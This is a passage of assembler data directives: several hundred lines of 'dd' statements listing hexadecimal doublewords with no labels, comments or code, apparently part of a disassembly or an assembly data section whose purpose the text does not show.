		dd 636BAE7Dh, 84701C38h, 719F7A00h, 0DB4C2A52h,	0FC3308BAh
		dd 57C9DF8Bh, 0F84B1A64h, 6660D732h, 0CCA300F8h, 7AC67C8Ch
		dd 44002799h, 72B3F565h, 328D2957h, 58340F15h, 6104045Dh
		dd 0B64A32B8h, 0BBDE071h, 340197C5h, 6A399D03h,	0B6A52EE7h
		dd 0B7DB1235h, 0E71653AFh, 0D7F9B22Ch, 61F3EC0Bh, 2F98DD0h
		dd 0EE7B63FDh, 14636BFh, 0B4195B04h, 9FBD21E8h,	178C1AACh
		dd 0BF830398h, 98F5784Bh, 1C6BCB12h, 0C13A205Ch, 79223CA1h
		dd 0C098785Bh, 1EBBF381h, 81274F18h, 6BB937EAh,	0E4F08Ch
		dd 58AF858h, 8C175B06h,	5F4ED977h, 2FBD6FE9h, 0A692E2BCh
		dd 0E5BD129Ah, 0DA2A02B1h, 0C716C815h, 816BF5DAh, 2E44C828h
		dd 8B285328h, 18717610h, 0B3569602h, 0A2615F9Eh, 7C2BCA81h
		dd 41794B5Eh, 0A3829B68h, 5509B75Fh, 1791D3B5h,	0E8BB2681h
		dd 173D2EEEh, 1310F37Fh, 28AE8D85h, 0FC02BFBAh,	513C264Ch
		dd 53E0565Fh, 420956F4h
		dd 0BB14D765h, 7BF2F2EDh, 0E0F7C65Fh, 583C97A0h, 0E4D0E025h
		dd 843D2F66h, 0C3FE5294h, 7A608B04h, 0CAAC9073h, 6E2B5h
		dd 0D90D2B9h, 7DE5FE17h, 0F42F1C98h, 324065FFh,	8B2ECFB2h
		dd 1DDE03C1h, 41708B33h, 0E21DFFB3h, 0A2213A46h, 0CEC8B09Dh
		dd 4FD200DEh, 5587CD06h, 19254710h, 68D16D78h, 5E96E098h
		dd 0B45F4394h, 0BF50A430h, 4B4113E7h, 0A0BA8554h, 0ABA6FE66h
		dd 0F87FBF00h, 95CB1F4Bh, 318F1D24h, 301D43DAh,	6DC8036Bh
		dd 0D3B56A61h, 0FC5E78A0h, 9C2DEB09h, 155100A5h, 5B3A0EB5h
		dd 616F6Ah, 4F6FD6C1h, 0A0053E3Dh, 98FB719Eh, 0D551BFFBh
		dd 58FE8A89h, 0C38013E9h, 200EEF8Ch, 0F5A69250h, 1E85BBE0h
		dd 0EE91211h, 80D4AD1Fh, 6677E274h, 4F040DD8h, 0C77996EBh
		dd 2917AAEh, 1BFD2161h,	1637741Fh, 9A7AFA6Ah, 371CD802h
		dd 9AF7B70Bh, 0B587F0E5h, 0D42C8065h, 0D70AD109h, 35976A16h
		dd 48A30240h, 0C45DE60Bh, 0FEAC391Ch, 16D5AA04h, 0ECF3BA6Dh
		dd 25A09D3Dh, 2BB5F38h,	0FF36D666h, 8BB7D7D1h, 0AFC76802h
		dd 514E5C4Eh, 6F5FC2D8h, 0BBAE402Ch, 7205BC90h,	30A108DAh
		dd 0AC10481h, 0F273F32Ah, 95A0301Bh, 8892B04h, 30AF5686h
		dd 0C9817F2Bh, 745DEE00h, 996D4714h, 58970030h,	0D86E28F5h
		dd 368AC05h, 82A5E486h,	0D18F0F53h, 0EFA2A5BCh,	5004F6E4h
		dd 0C10864ABh, 7990C8E6h, 9748B805h, 0AE026884h, 0B41A472Dh
		dd 0A36CDEC0h, 0FD028631h, 0E9B989DAh, 70A65CC4h, 0C982FB7Bh
		dd 742EDEBBh, 0A0C2B65Ah, 55DF4Fh, 0FECB52D8h, 29419B31h
		dd 2083F19Fh, 31089CB1h, 51869F6h, 2E270CACh, 0BF50B55Ch
		dd 885216BAh, 0B8A6B920h, 6A0C8C18h, 7F47214Bh,	0E2204AF1h
		dd 3FE69D5Dh, 1222FCDEh, 1CBA7F71h, 81100016h, 845CCCC7h
		dd 0B270E5Ch, 0D3E402D5h, 0EC397981h, 0A2482287h, 268510FAh
		dd 0C2F8E84Eh, 5C95CF80h, 5253C455h, 1690511Fh,	0E5BAA15Ah
		dd 0D7D90709h, 0B06184C8h, 92E78E1h, 5C1D13DEh,	0D6FB1F52h
		dd 1F4FC871h, 40036700h, 91D65B17h, 3C4E12D8h, 1877E421h
		dd 0B1FD048Ah, 0AA221253h, 5C6909D2h, 8157E07Fh, 0A70B52C3h
		dd 855B1847h, 0F41E827h, 0C80E45EAh, 0B5A4A03Ah, 0F82E2A45h
		dd 1AAB93DAh, 0A30038B6h, 0ADFCD7C3h, 79857E4Bh, 0B84AAFA8h
		dd 0D99D1569h, 0E1B31FF9h, 0DE8AD105h, 2827E5E2h, 431374F3h
		dd 95C372BBh, 0E95BA0A1h, 0A05978A0h, 7FDCE2A3h, 2305013Bh
		dd 861CF9EAh, 5EDE69F2h, 5E08E682h, 2B4D62C2h, 0A9D52907h
		dd 0B01852FBh, 8D6F5AAh, 1EEE30AEh, 27005FAFh, 0F41CA7BAh
		dd 25C4FFA4h, 8FCBB42Fh, 8D014194h, 49122299h, 0CA07542Ah
		dd 0FFF68BF4h, 0F37E9503h, 70959D62h, 3569540h,	0EA28BBE0h
		dd 500C7EBDh, 48FE20A5h, 6C4036F9h, 4DBD3933h, 0A331E4A5h
		dd 87DF02Bh, 13851497h,	0EFE87A5Bh, 0BB0ED16Fh,	8BAE63F9h
		dd 0E873FD96h, 0D3BA17FBh, 0AE2312F5h, 1923A16Bh, 0A49A1700h
		dd 2A96F615h, 8DCBDCB9h, 56856070h, 9714C4h, 4FCF819Fh
		dd 49F93BDAh, 5FF55182h, 0B755C02Bh, 0CD80012Bh, 68065C51h
		dd 1385100Eh, 0A4758B27h, 0A3B861ACh, 9112F490h, 0D381E612h
		dd 7B25C8h, 1F84685Ah, 9EF21B4Ah, 0C49AB70Eh, 88C2058h
		dd 4BDAC3D3h, 1624BCDFh, 78A7880Dh, 0CEE0B9B2h,	760B2CABh
		dd 0DD4CED89h, 35777B0Bh, 9ECCA528h, 37951412h,	0E9CB83EDh
		dd 99088671h, 0DF723201h, 0E46BCB5Ch, 42B00085h, 8CDCED19h
		dd 0B2009BECh, 64DDC776h, 4BC5D42Fh, 0D2D88A3Ah, 0C00B4F2h
		dd 8D88BDD7h, 650B7B30h, 5FD66382h, 0BB02CE14h,	1E5631B9h
		dd 9927E5Bh, 0D2717ECEh, 5756FA4Fh, 0F570BCD3h,	2B060955h
		dd 3ECAEDE0h, 0FB452A74h, 977496E9h, 2EFCD811h,	59EDD975h
		dd 714AB5A8h, 176A2CAEh, 950D508Ah, 15EDBE94h, 0D816A04h
		dd 0D9E2A0B8h, 6C616B2Ah, 4FCC2A72h, 8E8600F0h,	0C802F639h
		dd 7C077F23h, 0D906A34Bh, 20AB6054h, 1A043F41h,	0DB5A2407h
		dd 86815CB8h, 95303A63h, 0ABB358FBh, 0ADC2C54Ah, 0B4B8E8h
		dd 4A0F0E02h, 0E93D43EBh, 73A210EFh, 0C9E10058h, 0A440FA8Eh
		dd 0C5122FFBh, 0E8E171E3h, 5A49D820h, 22E3B318h, 0A1D89D39h
		dd 617BA495h, 0C883DAABh, 0CC87C01Ch, 1E3E5F50h, 886392C4h
		dd 14ACC2B9h, 0F14B518Ch, 98DBE60h, 504AF309h, 40744FFDh
		dd 0AB070137h, 4D13615Bh, 5407AAEh, 858913DBh, 0BDB788EEh
		dd 522D120h, 587D068h, 1FCB8106h, 0B5C03F0Fh, 0F71A842Fh
		dd 9175E161h, 0B254A62Ah, 0A643018h, 0D72CBA12h, 0B26DD4E1h
		dd 0E84231ECh, 0D791AF02h, 0C359F2A8h, 1CE26300h, 7A31B61h
		dd 0F03309D6h, 6C8EB27Ah, 0E246F781h, 0B0A37021h, 0EABB0140h
		dd 307B2510h, 6F55BFC2h, 2B1F6147h, 200BC14Bh, 3A9726E6h
		dd 4034FCDEh, 15393F35h, 8BB6A91Dh, 0E0895300h,	25A7D01Bh
		dd 0BDC48372h, 0DE1BBCh, 7852BF6Ah, 72FADF2h, 71093978h
		dd 552EC1F1h, 384B14CDh, 2E41C45Ah, 2CE0553Fh, 0C7A2DDDh
		dd 0D4D55C95h, 1AC11BBCh, 723C28EEh, 0BB071820h, 10DA7337h
		dd 0A6EA46B4h, 2D7E06Ah, 5349019Fh, 62C745FDh, 1C076F89h
		dd 34651D7Bh, 25C26FAAh, 696A7E08h, 56CD9AD5h, 2F7E6AC7h
		dd 6804CE72h, 4C7A03B9h, 8346BC93h, 0DBAABD65h,	612ACEBFh
		dd 0F9900823h, 0F2A3342Eh, 0C97E6FA6h, 97E91C05h, 0EF015CB5h
		dd 0E27FE905h, 352E8C6Ah, 0D5004C71h, 53B9D2D8h, 4D04E6ADh
		dd 0DEBC8561h, 0E4450817h, 159D4702h, 7AA45C2Eh, 0B12E1D4h
		dd 368E19E3h, 8C1BF810h, 0E63548h, 2DF8C154h, 0C4AAB33Bh
		dd 1317F990h, 0A17561ABh, 5AFD0E16h, 2B8DC0A4h,	365DAE1h
		dd 535FBBCBh, 0FFD4603Bh, 0DBEAA725h, 4870C072h, 4BB363CEh
		dd 2210CAB2h, 3490B56Fh, 7905599Fh, 91FAF9B0h, 0A156FD2Ch
		dd 0E100519h, 4600412Dh, 0FAEB81E6h, 0B5539ECFh, 0BF50E645h
		dd 337F05A6h, 0AB31819Dh, 0B02C479Dh, 0E153182Dh, 64181C79h
		dd 0D0883A00h, 0A3D108EAh, 0E9B32584h, 0BC2EEEh, 483E01D4h
		dd 6E6199DCh, 0B56720D7h, 25601244h, 347E81B6h,	4097D12Fh
		dd 385FDA43h, 7188F09Dh, 4CA79A61h, 27254509h, 0D897704Eh
		dd 0B83930A0h, 5777E08h, 0E88D304Bh, 97195720h,	0B956BF89h
		dd 161446D6h, 62BFF97Bh, 0F87D9D93h, 0CF99958Ah, 0D2F6A550h
		dd 0B556D2EAh, 3EE63BB0h, 1BC4FBF0h, 9D74A416h,	4DE36BEBh
		dd 0BAE3CC34h, 0BD064AE9h, 177DFC25h, 0EB79BF97h, 36E34C53h
		dd 60D8C24Ah, 79B98EC0h, 0F95B2A27h, 0E95C2D38h, 0A9346EE3h
		dd 392C76BCh, 800A68Fh,	5A1F5463h, 56018400h, 7F269DD8h
		dd 61E9F319h, 0DA02742Fh, 88AAD642h, 0F7288085h, 814ADFB1h
		dd 99A72FBCh, 77190D8Bh, 484AFEB7h, 0A70B3D57h,	5F4332DDh
		dd 0DA5062C5h, 0FBC8034Ah, 10180D43h, 3CEF80D8h, 7A20964Ah
		dd 2E362576h, 15D9928h,	505B2CA0h, 76376C51h, 0BD239605h
		dd 6FAB02D1h, 1C2329h, 8A8435BEh, 0C91216E9h, 71F3DF25h
		dd 0E6B32904h, 0D3E7B9F2h, 0F48007DAh, 1AEA0A34h, 0C5FD8A25h
		dd 0AD5A17E7h, 0BE0C0C7h, 5AF59ABEh, 542BA72h, 0F5708C20h
		dd 0A813D746h, 79EFFC58h, 9A74A8ACh, 0ED955B90h, 0A4F2C2EBh
		dd 2D6D44E0h, 958AB796h, 5751C305h, 0D22A6E31h,	0CED55FAEh
		dd 843597D7h, 0A035F203h, 42587250h, 0FDBD5E23h, 0AD01CBFCh
		dd 0D37DB32Eh, 8470AC66h, 0DF0169FDh, 5C255CD4h, 0A5B55A4Eh
		dd 6D289A80h, 1E9EA5C4h
		dd 0E756AAC0h, 5FC391F5h, 9266F7C6h, 70771497h,	0E66BE151h
		dd 0B34AF055h, 0DAE701D9h, 0F581F3EBh, 96342FB7h, 0C6C9E4F8h
		dd 25F4717Eh, 7CE5D3FFh, 358D0983h, 0E914160Bh,	5844B8F2h
		dd 1B75111Bh, 0DE4CC124h, 0E94D7D12h, 6051920h,	0AF60706Bh
		dd 2BE98901h, 0D8B0F520h, 0C0022B6h, 697F1333h,	0DF738Dh
		dd 42D6EAC9h, 0A135512Ch, 2922C800h, 889E324Eh,	0FC9000AEh
		dd 5EF208E6h, 53176B48h, 0FA0CBFh, 13ABA97Dh, 0E25B71B6h
		dd 144B30AEh, 0D30E50B2h, 0E142A02Ch, 21D641AAh, 44AD0F80h
		dd 1DFA1032h, 0EA910E18h, 3BFF6819h, 0C3806EA6h, 0CCA573ABh
		dd 100074ACh, 0BCDAB452h, 7D7E984h, 0B14F0A3Ah,	90AA90D4h
		dd 7009BB3h, 0EBCA13F1h, 3049FD7h, 230117ABh, 2DF1D50Dh
		dd 4920F00Fh, 44221D00h, 0A7849A2Eh, 0AA57188Fh, 10CD81D0h
		dd 0D7285403h, 82E05C11h, 29A4A56Fh, 817C7006h,	8E3E62Fh
		dd 1204FBA3h, 9601D108h, 7988EAFAh, 7543007Bh, 0AC477F99h
		dd 0ADF24153h, 64B4D403h, 0FE8502h, 0E1F35C51h,	5A6E4D1Bh
		dd 906C0A00h, 0BCE346Fh, 899E0073h, 0F4581E30h,	5073CF77h
		dd 0E9000E90h, 47246D4Bh, 55CF72Fh, 0FAD7F103h,	6BE0AFE2h
		dd 0EFC903EBh, 9B80A87Dh, 810DA5F0h, 528AA60Eh,	92D0E3B7h
		dd 9769820h, 0B2FD03A0h, 0FA1EE562h, 0B2BC9631h, 20F44C27h
		dd 0BA700001h, 0C3B5ED6Bh, 970E326Ah, 408CEE3Eh, 25C0F812h
		dd 0A1C530BAh, 1628913Ch, 5CBE5001h, 0A2867DFAh, 0EB541883h
		dd 0F00FB80h, 6C8EEE57h, 0E817Eh, 0E4FE10D5h, 0C0DEB80Bh
		dd 0BA883Ah, 0DA126BC4h, 0F93D39Ch, 41BED1ACh, 1842EAACh
		dd 864FAF01h, 7E441D05h, 1D525C4h, 9415B37h, 503A5C6Eh
		dd 0A66DDF91h, 1379C100h, 2DF3054Bh, 6983005Fh,	0DE869731h
		dd 5100919Eh, 0A947E05Bh, 0A17DD0h, 28F62E87h, 0C8DA334Bh
		dd 0EA8C292Fh, 1BB300EAh, 0EACFE9FBh, 0EA001D8h, 3809770h
		dd 0DAED507Ch, 0E0001871h, 0C51E3412h, 0FBD99B3h, 8A076BA3h
		dd 6C8863E0h, 9C00AA1Ch, 0D617E95Ch, 7FBFDBB6h,	0FAE2E066h
		dd 0FD790Fh, 96CEEAC5h,	9DD5E9C8h, 0B2F2030Bh, 3BE05F07h
		dd 0B61291A3h, 49040F79h, 0A74B717Eh, 77E26475h, 97350032h
		dd 0A44FA02h, 0A71FDF38h, 9A80B30Ch, 8E2C6F17h,	0C62ECB0h
		dd 0DEAC53D0h, 0C1002AC8h, 5E6D0868h, 0BEFA76h,	0DFBAD4E6h
		dd 6199B590h, 0D902C67Eh, 0B3309208h, 8A80A0CCh, 1F50F21h
		dd 3AACFC1Ch, 0C8C66E59h, 0E806FA71h, 1F8B7522h, 2F0E3C2Ah
		dd 97F000F3h, 9BB5915Fh, 0D576AC63h, 22DFE101h,	52C53A62h
		dd 4412D142h, 0AE3B5BB9h, 762D0330h, 78E7019Fh,	0CFEE829Ch
		dd 219ECCC0h, 0A691EB00h, 840A913h, 455D0E3Ah, 5793F5h
		dd 0C22DC866h, 24C9923Dh, 0B90999h, 0B9F10980h,	0B0B53D27h
		dd 67978FDh, 0E9948D9Fh, 1B002CFEh, 0FADEC98h, 41636h
		dd 61F50DEAh, 46236E4Bh, 85D52E04h, 0F38809E7h,	20580070h
		dd 0F26D19E2h, 0AD1EFD15h, 0D780683Bh, 8799B7EBh, 718E0365h
		dd 66D87731h, 8F12F186h, 1900424Dh, 2E81A27Eh, 98290036h
		dd 7F91EA8Eh, 7A3524A1h, 8E0498D5h, 0B883FD5Fh,	0B8125029h
		dd 0E7164CDCh, 0B4CCA980h, 4C30EA7Ch, 7385946Eh, 2D64F259h
		dd 11D5EE2Ch, 88D99EBFh, 0D5378E83h, 54FEA358h,	0B4C62F04h
		dd 0C1FD4115h, 0B52CAA5Bh, 495C0F8Ah, 58C3A3D8h, 2BB11079h
		dd 9442DC54h, 0D78F5602h, 602A06A4h, 1CB6DB03h,	8446A8F8h
		dd 0D0A27FCCh, 8B265E5Ah, 1B807900h, 37EBBD95h,	6C3A26CEh
		dd 0BAFB45D8h, 9C00B5B7h, 0D00822FEh, 44002335h, 0F8D5A3DBh
		dd 4C364CE0h, 5C381659h, 0BB2EBAB7h, 0FC3EE675h, 5E2035Dh
		dd 553A59EDh, 0B0A7979Fh, 801132Dh, 4FB24801h, 54A91B14h
		dd 96D09FCDh, 0F6D516E7h, 1C01FA8Dh, 8F701FE4h,	315BBBFCh
		dd 0B50F19DEh, 0C70B204Ch, 9AD2EA00h, 0DC580CE3h, 0ABFB00B3h
		dd 6679722Eh, 0D73B401Ch, 39DCE343h, 99E9995Eh,	0B654C549h
		dd 0FFBBC545h, 0C0CDCF92h, 9D76C7h, 9A77457Dh, 56AF4A82h
		dd 0B0009598h, 1127BBD3h, 70BE934h, 75CEE4C2h, 4737401Ch
		dd 741529A3h, 2D97F7D2h, 7C10D7FBh, 5B5F0B88h, 101C68C0h
		dd 1E5900E5h, 2036CA23h, 94EA2443h, 0EC250B00h,	8E442D34h
		dd 9939017Dh, 0E1AFE740h, 0C562D002h, 0C700BCF4h, 937B2965h
		dd 66CA2Ah, 449AFA04h, 0C6E5714Ch, 366EC700h, 81FCA87Fh
		dd 0F88C2AA4h, 2FB527C9h, 17C05C2Eh, 64BE1E3Eh,	6E03D9E0h
		dd 390E20F2h, 0B2BAE58Dh, 0A96EBDE7h, 283C8C8h,	31241C33h
		dd 0B75C0D0Ch, 0CE5CDE56h, 0E5825508h, 2CA7C581h, 2C8763EDh
		dd 93C273Ah, 7E5ABA52h,	0D38B3C63h, 6175148Bh, 3CDD54EAh
		dd 89560740h, 7C77E4DEh, 0C345008h, 5F0CCDFFh, 7C5BF70Fh
		dd 9A5129ABh, 602C870Ch, 6F7B4Dh, 0E03EFFFBh, 2B8FE86h
		dd 75860E6Bh, 5B89EC40h, 605E2000h, 48575D54h, 770D4811h
		dd 1CF1Eh, 56BD3724h, 0D1727B5Eh, 4D891A00h, 0DE21667Eh
		dd 2E850E1Bh, 0B3A52FF8h, 0AD918004h, 0D5003345h, 0A129143Bh
		dd 68CC39h, 340F87FBh, 4492400Ah, 0CE381770h, 7B3B8325h
		dd 9855DD4Bh, 39BA0A60h, 2E003739h, 6E2A5FBEh, 0E10231B7h
		dd 2B7BFC96h, 0E5BC6017h, 74B83Fh, 1FD1AB63h, 61DFA123h
		dd 0A62AE81Ch, 0C5778600h, 23D3678h, 504B566Ch,	7B7D7446h
		dd 0C31D515Bh, 190A2084h, 16D100A5h, 0CE5C9941h, 0DD278A8Fh
		dd 0FCD31250h, 4C50493Eh, 0DC0796h, 66EDABF3h, 0D5898E96h
		dd 8B9B6A4Fh, 0DFC278C0h, 6A5FE56Eh, 94F01DB6h,	47047A0Ch
		dd 896E7BE3h, 272041A8h, 1117AB80h, 9F9E94Bh, 26045CBCh
		dd 105BD23h, 894FA016h,	0D59C857Fh, 60FB5012h, 0EF19D58h
		dd 4905F80h, 8FC1BDBBh,	0EA1AE2Fh, 80E3DB7Bh, 0C9DABD09h
		dd 0E53F1611h, 987EE0F9h, 54508F69h, 0C40A37F0h, 0EF1785BFh
		dd 21E0FFD9h, 70622378h, 0D7C6291Ah, 0E6D13725h, 5E29E016h
		dd 7D920805h, 851C7E3Ch, 0DF801620h, 8EE7A2CAh,	4D2F1C97h
		dd 0B63E0B3h, 290BA1F3h, 0DC1DEE89h, 0A32F169Bh, 0A86A5AE6h
		dd 98F5CB25h, 5A76CF1Eh, 0BC62AF50h, 0AA9C4BFBh, 0A7F2D3DAh
		dd 2DD4207Eh, 9590CA85h, 0F90025FBh, 8B7871A5h,	4BC507h
		dd 0D774168Ah, 0B7E95F55h, 0A68B0C5Ah, 0AD712124h, 0D415FD8h
		dd 0BDFEAE92h, 2D6FB8E8h, 0C946F9D5h, 3C88904Eh, 0D3A600EBh
		dd 983BF21h, 94000A66h,	456B725Fh, 12A2EC65h, 0B027C9D8h
		dd 0BD2D8D35h, 0CB18772Fh, 34020C6Eh, 27C6862h,	1F657D06h
		dd 0CFB5AFh, 0E326C949h, 0A0241AC8h, 2D13459Ah,	3222CEBh
		dd 9F10709Dh, 9531C1B8h, 0F923D125h, 2D6305FFh,	9E81FFC1h
		dd 78691D49h, 0FC1E3516h, 2CE3A2B3h, 164F6922h,	0F5F323EEh
		dd 888E71BAh, 0E45F0A2Bh, 1BC85426h, 3F2D41D5h,	0BF25714h
		dd 51D35DF3h, 0EAF51756h, 516B4F27h, 0BFFA002Fh, 4EC85D85h
		dd 4ECD2B73h, 0D1FDA7C1h, 5E355930h, 5E7FE624h,	6BD600BAh
		dd 0F93CCB8h, 0BC8FF900h, 42980DC3h, 0AD490AF1h, 639D76E9h
		dd 57143311h, 614B0185h, 5BA8EFACh, 95D4F42Bh, 0A024BD21h
		dd 1BE525C8h, 6B68D47Eh, 2525572Fh, 0CC0AA8F8h,	0B518B609h
		dd 122F0431h, 0CB00D4F9h, 60C41A7Dh, 0AB7CD2h, 88E40604h
		dd 5B0A39AAh, 645B98D0h, 6641044Ch, 6AD06CBBh, 8A370960h
		dd 41CD95E8h, 0C44BAAEFh, 82F22112h, 8516293Ch,	0D8B9FD0Fh
		dd 80330128h, 0F4F6EB9h
		dd 0F280829Eh, 0D0ADED90h, 12031905h, 0DEA8EF2Ch, 0F938A080h
		dd 221C6E32h, 33429BC3h, 7E9E4E8Ah, 0DECB24EDh,	0C61F3573h
		dd 97801D61h, 84EF80DCh, 0DC01BEFCh, 0AA058778h, 0B5898C29h
		dd 72BA888h, 8644BBC0h,	7513B11h, 7D442Dh, 4CB0E651h, 39CC9EF9h
		dd 0B4FFD41Eh, 535FFC8Bh, 4F104414h, 0C72603C1h, 9F17D80Dh
		dd 4BAE0174h, 0D6B88545h, 656E2E80h, 34041C3Fh,	0BB810FFAh
		dd 8600CBA7h, 89DBD190h, 8A00A758h, 0E2C4542Ah,	95610727h
		dd 0EBF8A1FBh, 83B30034h, 0F164AF9Dh, 8977E9DBh, 3B237524h
		dd 12AE6544h, 0C49ABFB0h, 3EF692h, 0D94750A4h, 17290383h
		dd 0A906918Dh, 26B8D316h, 0B874F84Ah, 33DE04BFh, 0BF2509BDh
		dd 8879E838h, 77999529h, 16EDBD97h, 0A5D1B825h,	8B496740h
		dd 52F302A6h, 578DB984h, 33413340h, 0DA6F5F81h,	0C01AC8F1h
		dd 532820BAh, 0CDA45216h, 0FFA731BBh, 53A62AE1h, 415F15E2h
		dd 0F32B1CB8h, 4358458h, 81A2DEAFh, 8C7BA9D0h, 0B97F882Ah
		dd 3AC46C00h, 98E737E8h, 8D4B5F3Ch, 65293F43h, 0D64F7DCAh
		dd 0DA736460h, 3FDB02AFh, 0C99D8D4Fh, 4EDFB9E2h, 2AB52D6Bh
		dd 991A9247h, 0B8377773h, 0ADB26112h, 9DA5628h,	8E0F3827h
		dd 0BF500D56h, 25630967h, 42580D91h, 235B0209h,	4B6B5E9Dh
		dd 0AEC20CEDh, 2FC1D4CAh, 0C6709FD6h, 5DD81616h, 419BA1CEh
		dd 6A2569E7h, 2E549B32h, 0AE398565h, 2ABA1012h,	0B99B8075h
		dd 3201D86Ah, 13DA4C22h, 0E7958420h, 0FA6300C6h, 308B73C3h
		dd 77274FC9h, 4989F42Dh, 428B418h, 0C641AD00h, 0C1BAF195h
		dd 0A42002E6h, 76CC2D5Bh, 0BB543075h, 38D3139Dh, 201DF941h
		dd 9DDEE8FAh, 0AAAD4C44h, 0FC838EE5h, 4FA2EC38h, 224C8300h
		dd 20C07429h, 6AB8FE17h, 9FBC62BDh, 63658200h, 9F69EA3h
		dd 31D9A913h, 0EB7DD8Fh, 0C03D127Eh, 0DCBE6824h, 0BFEB4D00h
		dd 277E3056h, 41E0CE81h, 6014D1A0h, 0B5188BF9h,	61323235h
		dd 7A3009BFh, 0E6F32E53h, 20181559h, 0CC8D035Ah, 9709BE58h
		dd 0E907A2F1h, 0DB09016Ch, 7D6A7830h, 77128405h, 0B6A82D96h
		dd 0CD60BED2h, 2DC3F6EFh, 0FED453F4h, 0F61A56D6h, 6089D303h
		dd 5EF2DE48h, 0DF25AAD4h, 877EB93Ah, 41B80369h,	60D1216h
		dd 23A36EF5h, 8083001Ah, 0EB6B18FEh, 9EBBC202h,	7D4B7C52h
		dd 969F1602h, 0E117260h, 44677C3h, 1D85C901h, 696F886Ah
		dd 0FF99B4Eh, 72195CECh, 56CC4BAh, 0F92DCD63h, 9511534Ch
		dd 72042ED9h, 431E3E73h, 0BC21708Dh, 2FA57AC1h,	0D7A2E22Bh
		dd 0BDA032A6h, 25B0C168h, 50DFB700h, 0FD4DBA60h, 1D435DB8h
		dd 0FCD4F84Bh, 0FF0E8C15h, 0CC9D311Fh, 481B226h, 165439EBh
		dd 0F99F9861h, 0F1A126F1h, 0F82ED2D7h, 7BBE9730h, 28D85AACh
		dd 66214F2h, 3917DA3Ah,	8B58F816h, 0C4775114h, 0BF664011h
		dd 61E9CDFDh, 31501323h, 0AA927FB5h, 89B5DF5Fh,	0D51819F1h
		dd 0EE5CB905h, 25A89CDAh, 4F4FD0A3h, 0A242DFECh, 1203C0C4h
		dd 0EEED56AFh, 7D00127Bh, 0B4887ECEh, 0FD9E8389h, 0D86C140h
		dd 79E4003Dh, 8D9D6915h, 0D4122D73h, 0D8BFA5C3h, 1AB55B40h
		dd 0D8EE0228h, 554E7D3Ah, 0C9088121h, 0D470F6h,	0E3BBAFBAh
		dd 9116E14Fh, 39266F90h, 3624704h, 0C544290Bh, 0A777F90Fh
		dd 225D40B3h, 644784D0h, 0EDDFA81Dh, 92509B49h,	76C5570Eh
		dd 13BCD91Fh, 0FEF725F1h, 0EFDD3464h, 6BBE1117h, 0CD984F4Eh
		dd 0E47E0412h, 0C52E4980h, 0DB29BB33h, 80D3DA2Eh, 7AA7485Fh
		dd 0B888FC40h, 6DB0945Ah, 3F27DDD8h, 9F22DE26h,	0A5DCB70Ch
		dd 8FF21C4Bh, 0A8A6FDD6h, 6A7F00A1h, 0B2F9B8EEh, 0F662409Ch
		dd 5A213D62h, 55D2797h,	0D09F94EEh, 6D14416Fh, 486F4E2Fh
		dd 0C4158200h, 0FF2D348Dh, 0EA36D71Dh, 167FB516h, 2FC9D005h
		dd 0B904BB23h, 6BAFCFB6h, 71B2361h, 500EEC71h, 0AC3BB11Fh
		dd 3031D4A0h, 4BF9680h,	2A9F104Eh, 873EFC50h, 0DFA9FF25h
		dd 0E53BFC6Ch, 0CD962DB3h, 9F8EC122h, 466B6E25h, 66001D23h
		dd 0BFFE91A4h, 68E30F86h, 0C95DCC77h, 0D4F91BC1h, 0C0CBCDADh
		dd 0A4E51292h, 0F8F38E5Bh, 22D88A4Fh, 0C27BB26h, 962779BDh
		dd 0A540BF94h, 1FF8680Eh, 0D378C43Ah, 0D24EF9CAh, 8E5B11EEh
		dd 93CCBF92h, 74A0848Dh, 0F9BD0959h, 0BFFB6B85h, 9CC40250h
		dd 18E50941h, 8A50D47Eh, 60528804h, 0CBF97C95h,	0BD336C98h
		dd 0F130112Dh, 2777C6B7h, 0FDE9CA8Dh, 80542804h, 20F5BD44h
		dd 69B2F9BDh, 67414C6Dh, 59E8BBE1h, 0FE6B4A3Dh,	0DCAA4825h
		dd 53004BB0h, 666C3767h, 521ACB9h, 0BD016061h, 819C40E1h
		dd 692833D3h, 899F177Eh, 6086F1A3h, 0D318D29h, 82F43388h
		dd 840CF1D7h, 1A2301BDh, 0E568FD2Eh, 0CDB7C18Bh, 0C249E3EBh
		dd 0CBFFDBF0h, 7E5C5327h, 0E2DFCBBFh, 40455826h, 0AB40B5CAh
		dd 0C82FF761h, 1D0073D2h, 4C9C5ECEh, 989985h, 427D702Eh
		dd 0B11E0224h, 0C190E42Dh, 7C091F48h, 0D5022FA0h, 0C880DC3Dh
		dd 0DB36965Eh, 0CB49A994h, 0A1ECB1F7h, 0B9EC5EC9h, 2AB40013h
		dd 0EAB696DEh, 10B143Eh, 100F6995h, 4B1F3C3Fh, 502A4E9h
		dd 2DC0DB6h, 7252E92Eh,	0A141D780h, 90E39391h, 4880F4A8h
		dd 0DD93BABBh, 0DE9B5809h, 90F90550h, 0DDCEFBDBh, 0C1F97901h
		dd 0D8096C2Bh, 62EB804Eh, 23B30A54h, 9C6C9556h,	0F2094B15h
		dd 6AAED2A7h, 0F6200088h, 56B0702Bh, 0CF8003F9h, 8AD1FFCCh
		dd 0A28BACBCh, 60021131h, 70B9413Ch, 0BF51BD0Ch, 33BF0450h
		dd 0AD347B9Fh, 25287F45h, 4D4A5F0Ah, 0EBA52EF8h, 1EB3FC8Ch
		dd 0A511E985h, 46952565h, 9D890EF7h, 762BD4F9h,	5F9224Ah
		dd 29E381C0h, 5C2746A6h, 833D5550h, 5CAEFF07h, 1506E751h
		dd 8E26207Bh, 9909A73Dh, 0DFF503CAh, 16119337h,	2C4B2782h
		dd 0E924B670h, 4D097744h, 4012591Ah, 777622BBh,	10E6315Bh
		dd 86418D15h, 0E0CAF84Eh, 5E5F90h, 0C02D263h, 0FF6A5308h
		dd 1BA938CBh, 841EBA1Bh, 0C4520322h, 8529A970h,	9D8A0142h
		dd 30D7810Eh, 8B359220h, 2FE1B0DAh, 0F699088h, 2D9145CFh
		dd 6C799A0h, 4D1316F5h,	910D70E6h, 71C9EFB5h, 2621097Bh
		dd 9984759h, 12FABB73h,	41BF014h, 0EB29DD31h, 0B112ACB3h
		dd 8FA3F92Bh, 0B9F87203h, 5152A492h, 3D442690h,	5990955Bh
		dd 817360DFh, 53A4A116h, 951095B8h, 2B61020Fh, 270DE8C8h
		dd 0DE74C0D8h, 4700C9B8h, 627B5788h, 1BF1035h, 1BB13DADh
		dd 2ED18B5Fh, 0FD6B7489h, 28AA9614h, 0BB066653h, 8EE9DD25h
		dd 9CE99535h, 1CE66285h, 0ED729D31h, 286E56FCh,	0A8C31A20h
		dd 0AA841042h, 2169ADFAh, 0C1128h, 9DC027E5h, 1BC489Eh
